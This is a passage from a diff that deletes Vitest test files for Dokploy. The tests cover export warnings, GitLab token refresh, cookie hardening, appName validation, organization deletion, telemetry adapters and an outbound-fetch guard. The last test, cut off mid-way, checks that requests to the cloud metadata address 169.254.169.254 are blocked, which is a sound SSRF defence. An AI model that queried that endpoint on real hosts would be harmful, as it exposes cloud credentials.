mongo: [],
libsql: [],
};
const buildTree = (overrides: {
applications?: Record<string, unknown>[];
compose?: Record<string, unknown>[];
postgres?: Record<string, unknown>[];
redis?: Record<string, unknown>[];
}) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: overrides.applications ?? [],
compose: overrides.compose ?? [],
postgres: overrides.postgres ?? [],
redis: overrides.redis ?? [],
...emptyServiceArrays,
},
],
});
const codesOf = (warnings: { code: string }[]) => warnings.map((w) => w.code);
describe("detectWarnings", () => {
it("IMAGE_TAG_NOT_PINNED for a database on a floating tag, not for a pinned one", () => {
const tree = buildTree({
postgres: [
{
postgresId: "pg-1",
name: "pg",
appName: "pg-one",
dockerImage: "postgres:latest",
mounts: [],
},
{
postgresId: "pg-2",
name: "pg2",
appName: "pg-two",
dockerImage: "postgres:17",
mounts: [],
},
],
applications: [
{ ...baseApplication, sourceType: "docker", dockerImage: "nginx" },
],
});
const warnings = detectWarnings(tree as any, baseScope).filter(
(w) => w.code === "IMAGE_TAG_NOT_PINNED",
);
expect(warnings.map((w) => w.affected[0]?.serviceId).sort()).toEqual([
"app-1",
"pg-1",
]);
});
it("ABSOLUTE_HOST_PATH_MOUNT for a bind mount with an absolute host path", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "mount-1",
type: "bind",
hostPath: "/var/data",
mountPath: "/data",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("ABSOLUTE_HOST_PATH_MOUNT");
});
it("MANUAL_VOLUME_NAME for a volume mount with an explicit volumeName", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "mount-1",
type: "volume",
volumeName: "my-custom-volume",
mountPath: "/data",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("MANUAL_VOLUME_NAME");
});
it("does not warn about a volume name that embeds the service's own appName", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "mount-1",
type: "volume",
volumeName: `${baseApplication.appName}-data`,
mountPath: "/data",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).not.toContain("MANUAL_VOLUME_NAME");
});
it("does not warn about a bind mount with a relative path or an auto volume name", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "m1",
type: "bind",
hostPath: "relative",
mountPath: "/a",
},
{
mountId: "m2",
type: "volume",
volumeName: null,
mountPath: "/b",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).not.toContain("ABSOLUTE_HOST_PATH_MOUNT");
expect(codesOf(warnings)).not.toContain("MANUAL_VOLUME_NAME");
});
it("APPNAME_IN_COMPOSE_FILE when the compose file references its own appName", () => {
const tree = buildTree({
compose: [
{
...baseCompose,
appName: "compose-one",
composeFile: "networks:\n compose-one-net:\n external: true",
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("APPNAME_IN_COMPOSE_FILE");
});
it("PREVIEW_DEPLOYMENTS_DROPPED when preview deployments are active", () => {
const tree = buildTree({
applications: [{ ...baseApplication, isPreviewDeploymentsActive: true }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("PREVIEW_DEPLOYMENTS_DROPPED");
});
it("LETSENCRYPT_CERTS_NOT_EXPORTED for a domain with a letsencrypt certificate", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
domains: [
{
domainId: "dom-1",
host: "app.example.com",
certificateType: "letsencrypt",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("LETSENCRYPT_CERTS_NOT_EXPORTED");
});
it("REDIS_NO_DUMP for every redis service in scope", () => {
const tree = buildTree({
redis: [{ redisId: "redis-1", name: "redis-1", mounts: [] }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("REDIS_NO_DUMP");
});
it("WEBHOOK_TOKEN_REGENERATED for a service with autoDeploy enabled", () => {
const tree = buildTree({
applications: [{ ...baseApplication, autoDeploy: true }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("WEBHOOK_TOKEN_REGENERATED");
});
it("DROP_SOURCE_NOT_EXPORTED when a drop-source app is excluded from files", () => {
const tree = buildTree({
applications: [{ ...baseApplication, sourceType: "drop" }],
});
const warnings = detectWarnings(tree as any, {
...baseScope,
files: { ...baseScope.files, applicationSources: false },
});
expect(codesOf(warnings)).toContain("DROP_SOURCE_NOT_EXPORTED");
});
it("does not warn DROP_SOURCE_NOT_EXPORTED when applicationSources is included", () => {
const tree = buildTree({
applications: [{ ...baseApplication, sourceType: "drop" }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).not.toContain("DROP_SOURCE_NOT_EXPORTED");
});
it("only inspects services within scope", () => {
const included = { ...baseApplication, applicationId: "app-included" };
const excluded = {
...baseApplication,
applicationId: "app-excluded",
autoDeploy: true,
};
const tree = buildTree({ applications: [included, excluded] });
const warnings = detectWarnings(tree as any, {
...baseScope,
serviceIds: ["app-included"],
});
expect(codesOf(warnings)).not.toContain("WEBHOOK_TOKEN_REGENERATED");
});
});
@@ -1,99 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const store = vi.hoisted(() => ({
provider: {} as Record<string, unknown>,
}));
vi.mock("@dokploy/server/services/gitlab", () => ({
findGitlabById: vi.fn(async () => ({ ...store.provider })),
updateGitlab: vi.fn(async (_id: string, values: Record<string, unknown>) => {
store.provider = { ...store.provider, ...values };
}),
}));
const { refreshGitlabToken } = await import(
"@dokploy/server/utils/providers/gitlab"
);
const GITLAB_ID = "gitlab-1";
// Behaves like GitLab: a refresh returns a new pair and invalidates the refresh token it used
const createGitlab = () => {
let validRefreshToken = "refresh-1";
let issued = 1;
let failNext = false;
const fetch = vi.fn(async (_url: string, init: RequestInit) => {
const body = new URLSearchParams(init.body as string);
// Keeps the request open, so concurrent callers overlap as two deployments do
await new Promise((resolve) => setTimeout(resolve, 20));
if (failNext) {
failNext = false;
return new Response(null, {
status: 500,
statusText: "Internal Server Error",
});
}
if (body.get("refresh_token") !== validRefreshToken) {
return new Response(null, { status: 400, statusText: "Bad Request" });
}
issued++;
validRefreshToken = `refresh-${issued}`;
return Response.json({
access_token: `access-${issued}`,
refresh_token: validRefreshToken,
expires_in: 7200,
});
});
return {
fetch,
failNextRequest: () => {
failNext = true;
},
};
};
describe("refreshGitlabToken", () => {
let gitlab: ReturnType<typeof createGitlab>;
beforeEach(() => {
store.provider = {
gitlabId: GITLAB_ID,
gitlabUrl: "https://gitlab.example.com",
gitlabInternalUrl: null,
applicationId: "app-id",
secret: "app-secret",
accessToken: "access-1",
refreshToken: "refresh-1",
expiresAt: 0,
};
gitlab = createGitlab();
vi.stubGlobal("fetch", gitlab.fetch);
});
it("sends one refresh request when two callers find the token expired at the same time", async () => {
await Promise.all([
refreshGitlabToken(GITLAB_ID),
refreshGitlabToken(GITLAB_ID),
]);
expect(gitlab.fetch).toHaveBeenCalledTimes(1);
expect(store.provider.refreshToken).toBe("refresh-2");
});
it("refreshes again after a failed refresh", async () => {
gitlab.failNextRequest();
await expect(refreshGitlabToken(GITLAB_ID)).rejects.toThrow(
"Failed to refresh token: Internal Server Error",
);
await refreshGitlabToken(GITLAB_ID);
expect(gitlab.fetch).toHaveBeenCalledTimes(2);
expect(store.provider.refreshToken).toBe("refresh-2");
});
});
@@ -1,46 +0,0 @@
import { describe, expect, it } from "vitest";
import { isHttpsRequest, secureSetCookie } from "@/lib/secure-cookies";
describe("isHttpsRequest", () => {
it("returns true when X-Forwarded-Proto is https", () => {
expect(isHttpsRequest("https")).toBe(true);
});
it("returns false for http or a missing header", () => {
expect(isHttpsRequest("http")).toBe(false);
expect(isHttpsRequest(undefined)).toBe(false);
});
it("uses the left-most value of a proxy chain", () => {
expect(isHttpsRequest("https, http")).toBe(true);
expect(isHttpsRequest("http, https")).toBe(false);
});
it("handles an array header value and is case-insensitive", () => {
expect(isHttpsRequest(["HTTPS", "http"])).toBe(true);
});
});
describe("secureSetCookie", () => {
it("adds Secure to a cookie that lacks it", () => {
expect(
secureSetCookie("better-auth.session_token=abc; Path=/; HttpOnly"),
).toBe("better-auth.session_token=abc; Path=/; HttpOnly; Secure");
});
it("does not duplicate Secure when already present", () => {
const cookie = "better-auth.session_token=abc; Path=/; Secure; HttpOnly";
expect(secureSetCookie(cookie)).toBe(cookie);
});
it("applies to every cookie in an array", () => {
expect(secureSetCookie(["a=1; Path=/", "b=2; Path=/; Secure"])).toEqual([
"a=1; Path=/; Secure",
"b=2; Path=/; Secure",
]);
});
it("passes a numeric header value through untouched", () => {
expect(secureSetCookie(123)).toBe(123);
});
});
@@ -1,66 +0,0 @@
import { apiCreateLibsql } from "@dokploy/server/db/schema";
import { APP_NAME_MESSAGE } from "@dokploy/server/db/schema/utils";
import { describe, expect, it } from "vitest";
describe("apiCreateLibsql appName", () => {
const validBase = {
name: "My libSQL",
dockerImage: "ghcr.io/tursodatabase/libsql-server:v0.24.32",
environmentId: "env-1",
description: null,
databaseUser: "admin",
databasePassword: "secretPassword1",
sqldNode: "primary" as const,
sqldPrimaryUrl: null,
enableNamespaces: false,
serverId: null,
};
it.each([
["a space", "my libsql"],
["an at sign", "repro@lib"],
["a slash", "team/libsql"],
["a colon", "libsql:1"],
])("refuses an appName with %s", (_, appName) => {
const result = apiCreateLibsql.safeParse({ ...validBase, appName });
expect(result.success).toBe(false);
if (!result.success) {
const appNameIssues = result.error.issues.filter(
(issue) => issue.path[0] === "appName",
);
expect(appNameIssues.map((issue) => issue.message)).toEqual([
APP_NAME_MESSAGE,
]);
}
});
it("accepts an appName of letters, numbers, dots, underscores and hyphens", () => {
const result = apiCreateLibsql.safeParse({
...validBase,
appName: "my-libsql.db_1",
});
expect(result.success).toBe(true);
});
it("refuses an appName longer than 63 characters", () => {
const result = apiCreateLibsql.safeParse({
...validBase,
appName: "a".repeat(64),
});
expect(result.success).toBe(false);
if (!result.success) {
const appNameIssues = result.error.issues.filter(
(issue) => issue.path[0] === "appName",
);
expect(appNameIssues.map((issue) => issue.code)).toEqual(["too_big"]);
}
});
it("accepts an appName of 63 characters", () => {
const result = apiCreateLibsql.safeParse({
...validBase,
appName: "a".repeat(63),
});
expect(result.success).toBe(true);
});
});
@@ -1,56 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
findOwnedOrganizations: vi.fn(),
transaction: vi.fn(),
removeVectorAgents: vi.fn(),
calls: [] as string[],
}));
vi.mock("@dokploy/server/db", () => ({
db: {
query: { organization: { findMany: mocks.findOwnedOrganizations } },
transaction: mocks.transaction,
},
}));
vi.mock("@dokploy/server/services/organization", () => ({
removeVectorAgents: mocks.removeVectorAgents,
}));
const { deleteUserAccountData } = await import(
"@dokploy/server/services/account-deletion"
);
beforeEach(() => {
mocks.calls.length = 0;
mocks.findOwnedOrganizations.mockReset();
mocks.removeVectorAgents
.mockReset()
.mockImplementation(async (id: string) => mocks.calls.push(`agents:${id}`));
mocks.transaction.mockReset().mockImplementation(async () => {
mocks.calls.push("delete");
return { email: "a@b.c", organizationsDeleted: 2 };
});
});
describe("deleteUserAccountData", () => {
it("removes the Vector agents of every owned organization before deleting the user", async () => {
mocks.findOwnedOrganizations.mockResolvedValue([
{ id: "org-a" },
{ id: "org-b" },
]);
await deleteUserAccountData("user-1");
expect(mocks.calls).toEqual(["agents:org-a", "agents:org-b", "delete"]);
});
it("deletes the user without touching agents when it owns no organization", async () => {
mocks.findOwnedOrganizations.mockResolvedValue([]);
await deleteUserAccountData("user-1");
expect(mocks.removeVectorAgents).not.toHaveBeenCalled();
expect(mocks.calls).toEqual(["delete"]);
});
});
@@ -1,542 +0,0 @@
import {
getTelemetryProviderAdapter,
telemetryProviderAdapters,
} from "@dokploy/server/services/logs-and-metrics/providers/registry";
import type { TelemetryProviderRuntimeConfig } from "@dokploy/server/services/logs-and-metrics/types";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const aws = vi.hoisted(() => ({
describeLogGroups: vi.fn(),
putMetricData: vi.fn(),
}));
vi.mock("node:dns/promises", () => ({
lookup: async () => [{ address: "93.184.216.34" }],
}));
vi.mock("@aws-sdk/client-cloudwatch-logs", () => ({
CloudWatchLogsClient: class {
send = aws.describeLogGroups;
},
DescribeLogGroupsCommand: class {
constructor(public input: unknown) {}
},
}));
vi.mock("@aws-sdk/client-cloudwatch", () => ({
CloudWatchClient: class {
send = aws.putMetricData;
},
PutMetricDataCommand: class {
constructor(public input: unknown) {}
},
}));
const baseConfig: TelemetryProviderRuntimeConfig = {
telemetryProviderId: "provider-1",
name: "test",
signals: ["metrics"],
endpoint: null,
apiKey: null,
apiSecret: null,
extraConfig: null,
};
const originalFetch = global.fetch;
const fetchMock = vi.fn();
const respond = (status: number, body: unknown = "") =>
new Response(
status === 204
? null
: typeof body === "string"
? body
: JSON.stringify(body),
{ status },
);
beforeEach(() => {
fetchMock.mockReset();
aws.describeLogGroups.mockReset();
aws.putMetricData.mockReset();
global.fetch = fetchMock as unknown as typeof fetch;
});
afterEach(() => {
global.fetch = originalFetch;
});
const calledUrls = () => fetchMock.mock.calls.map((call) => String(call[0]));
describe("registry", () => {
it("resolves the nine provider types, each with a non-empty valid signal list", () => {
const types = [
"loki",
"prometheus_remote_write",
"new_relic",
"influxdb",
"datadog",
"aws_cloudwatch",
"splunk_hec",
"elasticsearch",
"betterstack",
] as const;
expect(Object.keys(telemetryProviderAdapters).sort()).toEqual(
[...types].sort(),
);
for (const type of types) {
const adapter = getTelemetryProviderAdapter(type);
expect(adapter.type).toBe(type);
expect(adapter.signals.length).toBeGreaterThan(0);
expect(
adapter.signals.every((s) => s === "logs" || s === "metrics"),
).toBe(true);
}
expect(telemetryProviderAdapters.loki.signals).toEqual(["logs"]);
expect(telemetryProviderAdapters.prometheus_remote_write.signals).toEqual([
"metrics",
]);
expect(telemetryProviderAdapters.datadog.signals).toEqual([
"logs",
"metrics",
]);
});
});
describe("prometheusRemoteWriteAdapter", () => {
const adapter = telemetryProviderAdapters.prometheus_remote_write;
const endpoint = "http://prom.example.com:9090/api/v1/write";
it("builds a sink without auth, with the healthcheck disabled", () => {
const sink = adapter.toVectorSink(
{ ...baseConfig, endpoint },
"sink_1",
"dokploy_metrics_scope",
"metrics",
);
expect(sink).toMatchObject({
type: "prometheus_remote_write",
inputs: ["dokploy_metrics_scope"],
endpoint,
healthcheck: { enabled: false },
});
expect(sink.auth).toBeUndefined();
expect(sink.tenant_id).toBeUndefined();
});
it("uses basic auth with a username, bearer with a token alone, and sets tenant_id", () => {
const basic = adapter.toVectorSink(
{
...baseConfig,
endpoint,
apiKey: "pw",
extraConfig: { username: "12345", tenantId: "team-a" },
},
"sink_1",
"scope",
"metrics",
);
expect(basic.auth).toEqual({
strategy: "basic",
user: "12345",
password: "pw",
});
expect(basic.tenant_id).toBe("team-a");
const bearer = adapter.toVectorSink(
{ ...baseConfig, endpoint, apiKey: "tok" },
"sink_1",
"scope",
"metrics",
);
expect(bearer.auth).toEqual({ strategy: "bearer", token: "tok" });
});
it("rejects an endpoint that is not an http(s) URL", () => {
expect(() =>
adapter.validateConfig?.({ ...baseConfig, endpoint: "not a url" }),
).toThrow(/valid http\(s\) URL/);
expect(() =>
adapter.validateConfig?.({ ...baseConfig, endpoint: "ftp://x" }),
).toThrow(/valid http\(s\) URL/);
});
it("treats 2xx and 400 as success and gives distinct errors for 401 and 404", async () => {
fetchMock.mockResolvedValueOnce(respond(204));
await expect(
adapter.testConnection?.({ ...baseConfig, endpoint }),
).resolves.toBeUndefined();
fetchMock.mockResolvedValueOnce(respond(400));
await expect(
adapter.testConnection?.({ ...baseConfig, endpoint }),
).resolves.toBeUndefined();
fetchMock.mockResolvedValueOnce(respond(401));
await expect(
adapter.testConnection?.({ ...baseConfig, endpoint, apiKey: "bad" }),
).rejects.toThrow(/rejected the credentials \(status 401\)/);
fetchMock.mockResolvedValueOnce(respond(404));
await expect(
adapter.testConnection?.({ ...baseConfig, endpoint }),
).rejects.toThrow(/not found at this URL \(status 404\)/);
});
it("sends the auth header and the tenant header on the test request", async () => {
fetchMock.mockResolvedValueOnce(respond(204));
await adapter.testConnection?.({
...baseConfig,
endpoint,
apiKey: "tok",
extraConfig: { tenantId: "team-a" },
});
const init = fetchMock.mock.calls[0]?.[1] as RequestInit;
expect(init.method).toBe("POST");
expect(init.headers).toMatchObject({
Authorization: "Bearer tok",
"X-Scope-OrgID": "team-a",
});
});
});
describe("newRelicAdapter", () => {
const adapter = telemetryProviderAdapters.new_relic;
const config = {
...baseConfig,
apiKey: "license",
extraConfig: { accountId: "123" },
};
it("defaults to the us region and accepts eu", () => {
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
{
type: "new_relic",
api: "metrics",
license_key: "license",
account_id: "123",
region: "us",
},
);
expect(
adapter.toVectorSink(
{ ...config, extraConfig: { accountId: "123", region: "EU" } },
"s",
"scope",
"metrics",
).region,
).toBe("eu");
});
it("rejects an unknown region", () => {
expect(() =>
adapter.validateConfig?.({
...config,
extraConfig: { accountId: "123", region: "jp" },
}),
).toThrow(/"us" or "eu"/);
});
it("posts a gauge to the regional metric API: 202 passes, 403 is an invalid key", async () => {
fetchMock.mockResolvedValueOnce(respond(202));
await expect(
adapter.testConnection?.({
...config,
extraConfig: { accountId: "123", region: "eu" },
}),
).resolves.toBeUndefined();
expect(calledUrls()[0]).toBe(
"https://metric-api.eu.newrelic.com/metric/v1",
);
fetchMock.mockResolvedValueOnce(respond(403));
await expect(adapter.testConnection?.(config)).rejects.toThrow(
/rejected the license key/,
);
expect(calledUrls()[1]).toBe("https://metric-api.newrelic.com/metric/v1");
});
});
describe("influxdbAdapter", () => {
const adapter = telemetryProviderAdapters.influxdb;
const config = {
...baseConfig,
endpoint: "http://influx.example.com:8086",
apiKey: "token",
extraConfig: { org: "dokploy", bucket: "metrics" },
};
it("builds an influxdb_metrics v2 sink", () => {
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toEqual({
type: "influxdb_metrics",
inputs: ["scope"],
endpoint: "http://influx.example.com:8086",
org: "dokploy",
bucket: "metrics",
token: "token",
default_namespace: "dokploy",
version: "2",
buffer: { type: "disk", max_size: 268_435_488, when_full: "block" },
});
});
it("writes a test point: 204 passes, 401 and 404 give distinct errors", async () => {
fetchMock.mockResolvedValueOnce(respond(204));
await expect(adapter.testConnection?.(config)).resolves.toBeUndefined();
expect(calledUrls()[0]).toBe(
"http://influx.example.com:8086/api/v2/write?org=dokploy&bucket=metrics&precision=s",
);
fetchMock.mockResolvedValueOnce(respond(401));
await expect(adapter.testConnection?.(config)).rejects.toThrow(
/rejected the token/,
);
fetchMock.mockResolvedValueOnce(respond(404));
await expect(adapter.testConnection?.(config)).rejects.toThrow(
/organization or bucket not found/,
);
});
});
describe("datadogAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.datadog;
const config = {
...baseConfig,
signals: ["logs", "metrics"] as const,
apiKey: "dd",
};
it("ships metrics through datadog_metrics without a transform", () => {
expect(
adapter.toVectorTransform?.(config as never, "t", "scope", "metrics"),
).toBeNull();
expect(
adapter.toVectorSink(config as never, "s", "scope", "metrics"),
).toMatchObject({
type: "datadog_metrics",
inputs: ["scope"],
default_api_key: "dd",
site: "datadoghq.com",
});
});
it("keeps the logs sink and ddtags transform unchanged", () => {
expect(
adapter.toVectorTransform?.(config as never, "t", "scope", "logs"),
).toMatchObject({ type: "remap", inputs: ["scope"] });
expect(adapter.toVectorSink(config as never, "s", "t", "logs").type).toBe(
"datadog_logs",
);
});
});
describe("betterStackAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.betterstack;
const config = {
...baseConfig,
endpoint: "in.logs.betterstack.com",
apiKey: "token",
};
it("posts metrics to /metrics without a transform", () => {
expect(
adapter.toVectorTransform?.(config, "t", "scope", "metrics"),
).toBeNull();
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
{
type: "http",
uri: "https://in.logs.betterstack.com/metrics",
auth: { strategy: "bearer", token: "token" },
},
);
expect(adapter.toVectorSink(config, "s", "scope", "logs").uri).toBe(
"https://in.logs.betterstack.com/",
);
});
it("tests each selected signal: two requests for logs and metrics, one for logs only", async () => {
fetchMock.mockResolvedValue(respond(202));
await adapter.testConnection?.({ ...config, signals: ["logs", "metrics"] });
expect(calledUrls()).toEqual([
"https://in.logs.betterstack.com/",
"https://in.logs.betterstack.com/metrics",
]);
fetchMock.mockClear();
await adapter.testConnection?.({ ...config, signals: ["logs"] });
expect(calledUrls()).toEqual(["https://in.logs.betterstack.com/"]);
});
});
describe("awsCloudwatchAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.aws_cloudwatch;
const config = {
...baseConfig,
apiKey: "AKIA",
apiSecret: "secret",
extraConfig: {
region: "us-east-1",
logGroup: "/dokploy/logs",
metricsNamespace: "Dokploy",
},
};
it("scopes the log fields to logs and the namespace to metrics", () => {
const bySignal = Object.fromEntries(
adapter.credentialFields.map((f) => [f.key, f.signal]),
);
expect(bySignal).toMatchObject({
logGroup: "logs",
logStream: "logs",
metricsNamespace: "metrics",
});
expect(bySignal.region).toBeUndefined();
});
it("rejects a namespace starting with AWS/ only when metrics are selected", () => {
const bad = {
...config,
extraConfig: { ...config.extraConfig, metricsNamespace: "AWS/Foo" },
};
expect(() => adapter.validateConfig?.(bad)).toThrow(
/cannot start with AWS\//,
);
expect(() =>
adapter.validateConfig?.({ ...bad, signals: ["logs"] }),
).not.toThrow();
});
it("filters metrics to the allowlist and sets the namespace in the transform", () => {
const transform = adapter.toVectorTransform?.(
config,
"t",
"scope",
"metrics",
);
expect(transform).toMatchObject({
type: "remap",
inputs: ["scope"],
drop_on_abort: true,
});
expect(transform?.source).toContain(
'if !includes(["cpu_seconds_total","memory_used_bytes","memory_total_bytes","filesystem_used_bytes","filesystem_total_bytes","network_receive_bytes_total","network_transmit_bytes_total","load1","load5","load15","container_cpu_usage_seconds_total","container_memory_usage_bytes","container_network_receive_bytes_total","container_network_transmit_bytes_total"], .name) { abort }',
);
expect(transform?.source).toContain('.namespace = "Dokploy"');
expect(adapter.toVectorSink(config, "s", "t", "metrics")).toMatchObject({
type: "aws_cloudwatch_metrics",
inputs: ["t"],
default_namespace: "Dokploy",
region: "us-east-1",
auth: { access_key_id: "AKIA", secret_access_key: "secret" },
});
});
it("tests metrics with PutMetricData only, and translates AccessDenied", async () => {
aws.putMetricData.mockResolvedValue({});
await adapter.testConnection?.({ ...config, signals: ["metrics"] });
expect(aws.putMetricData).toHaveBeenCalledTimes(1);
expect(aws.describeLogGroups).not.toHaveBeenCalled();
expect(aws.putMetricData.mock.calls[0]?.[0]).toMatchObject({
input: { Namespace: "Dokploy" },
});
aws.putMetricData.mockRejectedValue(
Object.assign(new Error("denied"), { name: "AccessDenied" }),
);
await expect(
adapter.testConnection?.({ ...config, signals: ["metrics"] }),
).rejects.toThrow(/needs cloudwatch:PutMetricData/);
});
it("tests logs with DescribeLogGroups only", async () => {
aws.describeLogGroups.mockResolvedValue({});
await adapter.testConnection?.({ ...config, signals: ["logs"] });
expect(aws.describeLogGroups).toHaveBeenCalledTimes(1);
expect(aws.putMetricData).not.toHaveBeenCalled();
});
});
describe("splunkAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.splunk_hec;
const config = {
...baseConfig,
endpoint: "https://splunk.example.com:8088",
apiKey: "hec",
extraConfig: { metricsIndex: "dokploy_metrics" },
};
it("requires the metrics index only for metrics", () => {
const field = adapter.credentialFields.find(
(f) => f.key === "metricsIndex",
);
expect(field).toMatchObject({ required: true, signal: "metrics" });
expect(
adapter.credentialFields.find((f) => f.key === "index")?.signal,
).toBe("logs");
});
it("builds a splunk_hec_metrics sink", () => {
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
{
type: "splunk_hec_metrics",
endpoint: "https://splunk.example.com:8088",
default_token: "hec",
index: "dokploy_metrics",
source: "dokploy",
sourcetype: "dokploy:metrics",
},
);
});
it("writes a test metric and translates HEC code 7", async () => {
fetchMock.mockResolvedValueOnce(respond(200, { text: "Success", code: 0 }));
await expect(adapter.testConnection?.(config)).resolves.toBeUndefined();
expect(calledUrls()).toEqual([
"https://splunk.example.com:8088/services/collector",
]);
fetchMock.mockResolvedValueOnce(
respond(400, { text: "Incorrect index", code: 7 }),
);
await expect(adapter.testConnection?.(config)).rejects.toThrow(
/can't write to the metrics index "dokploy_metrics"/,
);
});
it("only checks the health endpoint for logs", async () => {
fetchMock.mockResolvedValueOnce(respond(200));
await adapter.testConnection?.({ ...config, signals: ["logs"] });
expect(calledUrls()).toEqual([
"https://splunk.example.com:8088/services/collector/health",
]);
});
});
describe("elasticsearchAdapter with metrics", () => {
const adapter = telemetryProviderAdapters.elasticsearch;
const config = { ...baseConfig, endpoint: "https://es.example.com:9200" };
it("uses the daily default metrics index when none is set, and the custom one otherwise", () => {
expect(
adapter.toVectorTransform?.(config, "t", "scope", "metrics"),
).toBeNull();
expect(adapter.toVectorSink(config, "s", "scope", "metrics")).toMatchObject(
{
type: "elasticsearch",
api_version: "v8",
bulk: { index: "dokploy-metrics-%Y.%m.%d" },
},
);
expect(
adapter.toVectorSink(
{ ...config, extraConfig: { metricsIndex: "metrics-custom" } },
"s",
"scope",
"metrics",
).bulk,
).toEqual({ index: "metrics-custom" });
});
it("keeps the logs sink without a bulk index unless one is set", () => {
expect(adapter.toVectorSink(config, "s", "t", "logs").bulk).toBeUndefined();
});
});
@@ -1,85 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
findServersByOrganizationForVectorAgent: vi.fn(),
getWebServerSettings: vi.fn(),
releaseWebServerAgent: vi.fn(),
removeVectorAgent: vi.fn(),
deleteWhere: vi.fn(),
}));
vi.mock("@dokploy/server/constants", () => ({ IS_CLOUD: false }));
vi.mock("@dokploy/server/db", () => ({
db: { delete: () => ({ where: mocks.deleteWhere }) },
}));
vi.mock("@dokploy/server/services/server", () => ({
findServersByOrganizationForVectorAgent:
mocks.findServersByOrganizationForVectorAgent,
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: mocks.getWebServerSettings,
releaseWebServerAgent: mocks.releaseWebServerAgent,
}));
vi.mock("@dokploy/server/setup/vector-setup", () => ({
removeVectorAgent: mocks.removeVectorAgent,
withVectorTargetLock: (_: string | undefined, fn: () => Promise<unknown>) =>
fn(),
}));
const { deleteOrganization } = await import(
"@dokploy/server/services/organization"
);
beforeEach(() => {
for (const mock of Object.values(mocks)) mock.mockReset();
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([]);
mocks.deleteWhere.mockResolvedValue({ count: 1 });
vi.spyOn(console, "error").mockImplementation(() => {});
});
describe("deleteOrganization", () => {
it("attempts cleanup on every server, even with an empty selection, and swallows errors", async () => {
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([
{ serverId: "server-1", telemetryProviderIds: ["lp-1"] },
{ serverId: "server-2", telemetryProviderIds: ["lp-1"] },
{ serverId: "server-3", telemetryProviderIds: [] },
]);
mocks.removeVectorAgent.mockImplementation(async (serverId?: string) => {
if (serverId === "server-1") throw new Error("ssh down");
});
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: null,
});
await deleteOrganization("org-a");
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-1");
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-2");
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-3");
expect(mocks.deleteWhere).toHaveBeenCalled();
});
it("leaves the local agent alone when another organization owns it", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-b",
});
await deleteOrganization("org-a");
expect(mocks.removeVectorAgent).not.toHaveBeenCalled();
expect(mocks.releaseWebServerAgent).not.toHaveBeenCalled();
});
it("releases the local agent even when removing it fails", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
});
mocks.removeVectorAgent.mockRejectedValue(new Error("docker down"));
await deleteOrganization("org-a");
expect(mocks.removeVectorAgent).toHaveBeenCalledWith();
expect(mocks.releaseWebServerAgent).toHaveBeenCalledWith("org-a");
expect(mocks.deleteWhere).toHaveBeenCalled();
});
});
@@ -1,220 +0,0 @@
import { createServer, type Server } from "node:http";
import type { AddressInfo } from "node:net";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
lookup: vi.fn(),
}));
vi.mock("node:dns", () => ({
lookup: mocks.lookup,
}));
const loadModule = async (isCloud: boolean) => {
vi.resetModules();
vi.doMock("@dokploy/server/constants", () => ({ IS_CLOUD: isCloud }));
return await import(
"@dokploy/server/services/logs-and-metrics/provider-fetch"
);
};
const loadFetch = async (isCloud: boolean) =>
(await loadModule(isCloud)).providerFetch;
const resolvesTo = (...addresses: string[]) =>
mocks.lookup.mockImplementation(
(_host: string, _options: unknown, callback: Function) =>
callback(
null,
addresses.map((address) => ({
address,
family: address.includes(":") ? 6 : 4,
})),
),
);
describe("providerFetch — blocked endpoint guard", () => {
const originalFetch = global.fetch;
beforeEach(() => {
mocks.lookup.mockReset();
global.fetch = vi.fn().mockResolvedValue(new Response("ok"));
});
afterEach(() => {
global.fetch = originalFetch;
});
it("rejects a literal AWS/GCP/Azure metadata IP without ever calling fetch", async () => {
const providerFetch = await loadFetch(false);
await expect(
providerFetch("http://169.254.169.254/latest/meta-data/"),
